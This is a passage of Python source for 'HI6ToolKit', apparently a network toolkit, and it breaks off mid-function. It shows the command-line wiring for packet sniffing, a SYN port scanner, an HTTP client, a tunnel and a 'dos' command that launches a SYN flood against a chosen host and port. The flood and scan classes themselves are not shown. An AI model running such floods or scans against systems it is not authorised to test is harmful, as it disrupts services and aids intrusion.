parser = argparse.ArgumentParser(prog = "HI6ToolKit", add_help = True)
subparser = parser.add_subparsers(title = "tools")
info_tool = subparser.add_parser("info", help = "print informations about os, system etc.")
info_tool.set_defaults(func = info_args)
sniff_tool = subparser.add_parser("sniff", help = "execute Sniff class")
sniff_tool.add_argument("-if", "--iface", type = str, help = "sniffs on specific interface")
sniff_tool.add_argument("-s", "--saddr", type = str, help = "process IPv4 header with specified saddr", default = None)
sniff_tool.add_argument("-d", "--daddr", type = str, help = "process IPv4 header with specified daddr", default = None)
sniff_tool.add_argument("-t", "--tmp", action = "store_true", help = "tmps sniffed packets in file", default = False)
sniff_tool.set_defaults(func = Sniff_args)
scan_tool = subparser.add_parser("scan", help = "execute SYN port scanner")
scan_tool.add_argument("-s", "--source", type = str, help = "sets source addr for scanning")
scan_tool.add_argument("-x", "--host", type = str, help = "sets host addr for scanning")
scan_tool.add_argument("-p", "--port_range", type = str, help = "sets range of ports for scanning", default = "0-65535")
scan_tool.add_argument("-t", "--timeout", type = int, help = "sets timeout for unanswered syn segments", default = 5)
scan_tool.set_defaults(func = Scan_args)
dos_tool = subparser.add_parser("dos", help = "execute DoS_SYN class")
dos_tool.add_argument("-x", "--host", type = str, help = "sets host for flooding")
dos_tool.add_argument("-p", "--port", type = int, help = "sets port for flooding")
dos_tool.add_argument("-r", "--rate", type = int, help = "sets rate(number of packets)")
dos_tool.set_defaults(func = DoS_SYN_args)
http_tool = subparser.add_parser("http", help = "execute HTTP_Request class")
http_tool.add_argument("-x", "--host", type = str, help = "sets host for http request")
http_tool.add_argument("-p", "--port", type = int, help = "sets port for http request", default = 80)
http_tool.add_argument("-m", "--method", type = str, help = "sets request type(GET or HEAD)", default = "GET")
http_tool.add_argument("-c", "--custom", type = str, help = "sets custome header for HTTP_Request", default = str())
http_tool.add_argument("-e", "--endpoint", type = str, help = "sets endpoint", default = "/")
http_tool.add_argument("-s", "--secure", action = "store_true", help = "sets secure socket(ssl)", default = False)
http_tool.set_defaults(func = HTTP_Request_args)
tunnel_tool = subparser.add_parser("tunnel", help = "execute Tunnel class")
tunnel_tool.add_argument("-x", "--host", type = str, help = "sets host", default = "0.0.0.0")
tunnel_tool.add_argument("-p", "--port", type = int, help = "sets port", default = "80")
tunnel_tool.add_argument("-b", "--buffer", type = int, help = "sets bufferSize, should be in (1024, 2048, 4096,...)", default = 2048)
tunnel_tool.add_argument("-t", "--timeout", type = int, help = "sets timeout", default = 60)
tunnel_tool.set_defaults(func = Tunnel_args)
args = parser.parse_args()
return args
def invalid_args(arg : str) -> None :
ERROR : str = lambda arg : print(Constant.RED(f"\nInvalid argument : \"{arg}\"\nType : \"python hi6toolkit.py [--help | -h]\""), file = sys.stderr)
ERROR(arg)
sys.exit(1)
return None
def check(**kwargs : dict) -> tuple[bool, None | list] :
nones = list()
for k, v in kwargs.items() :
if not v : nones.append(k)
return (True, None) if not nones else (False, nones)
def info_args() -> None :
print(Constant.YELLOW(Constant.INFO))
return None
def ensure() -> None :
if not Constant.MODULE :
print(Constant.YELLOW(Constant.INFO))
input("\nPress ENTER to continue...\n")
return None
def Sniff_args() -> None :
global args
args = {
"iface" : args.iface,
"filter_saddr" : args.saddr,
"filter_daddr" : args.daddr,
"tmp" : args.tmp
}
success, nones = check(iface = args["iface"])
if not success : invalid_args(" & ".join(nones) + " " + "NOT found")
iface = args["iface"]
filter_saddr = args["filter_saddr"]
filter_daddr = args["filter_daddr"]
tmp = args["tmp"]
ensure()
sniff = Sniff(iface, True, tmp, filter_saddr, filter_daddr)
for packet, _ in sniff :
print(packet)
return None
def Scan_args() -> None :
global args
args = {
"source" : args.source,
"host" : args.host,
"port_range" : args.port_range,
"timeout" : args.timeout
}
success, nones = check(source = args["source"], host = args["host"])
if not success : invalid_args(" & ".join(nones) + " " + "NOT found")
split_port_range : tuple = lambda x : tuple([int(i) for i in x.split("-")])
source = socket.gethostbyname(args["source"])
host = socket.gethostbyname(args["host"])
port_range = split_port_range(args["port_range"])
timeout = args["timeout"]
ensure()
async def wait_to_empty(n : int, buffer : set | list) -> None :
while len(buffer) >= n :
print("[" + Constant.RED("WAIT") + "]", end = " ")
print("buffer is full, awaiting to empty buffer")
await asyncio.sleep(1)
return None
async def prepare() -> None :
print("[" + Constant.GREEN("START") + "]", end = " ")
print("set async event loop")
loop = asyncio.get_event_loop()
scan = Scan(source, host, timeout, loop)
buffer = set()
for port in range(port_range[0], port_range[1] + 1) :
await wait_to_empty(100, buffer)
if (port % 100 == 0) and (port != 0) : await asyncio.gather(*buffer)
task = loop.create_task(scan.scan(port))
buffer.add(task)
task.add_done_callback(buffer.discard)
else :
await asyncio.gather(*buffer)
if len(scan.opens) != 0 :
print(f"\nopen ports({len(scan.opens)}) :\n\t", end = str())
print(" ".join([str(i) for i in sorted(scan.opens)]))
else : print("no open ports!")
return None
asyncio.run(prepare())
return None
def DoS_SYN_args() -> None :
global args
args = {
"host" : args.host,
"port" : args.port,
"rate" : args.rate
}
success, nones = check(**args)
if not success : invalid_args(" & ".join(nones) + " " + "NOT found")
host = socket.gethostbyname(args["host"])
port = args["port"]
rate = args["rate"]
ensure()
flood = DoS_SYN(host, port, rate)
flood.flood()
return None
def HTTP_Request_args() -> None :
global args
args = {
"host" : args.host,
"port" : args.port,
"method" : args.method,
"header" : args.custom,
"endpoint" : args.endpoint,
"secure" : args.secure
}
success, nones = check(host = args["host"], port = args["port"], method = args["method"])
if not success : invalid_args(" & ".join(nones) + " " + "NOT found")
host = args["host"]
port = args["port"]
method = args["method"].upper()
header = args["header"].replace("_", "\r\n")
path = args["endpoint"]
secure = args["secure"]
ensure()
client = HTTP_Request(host, port, method, header, path, secure)
client.request()
return None
def Tunnel_args() -> None :
global args
args = {
"host" : args.host,
"port" : args.port,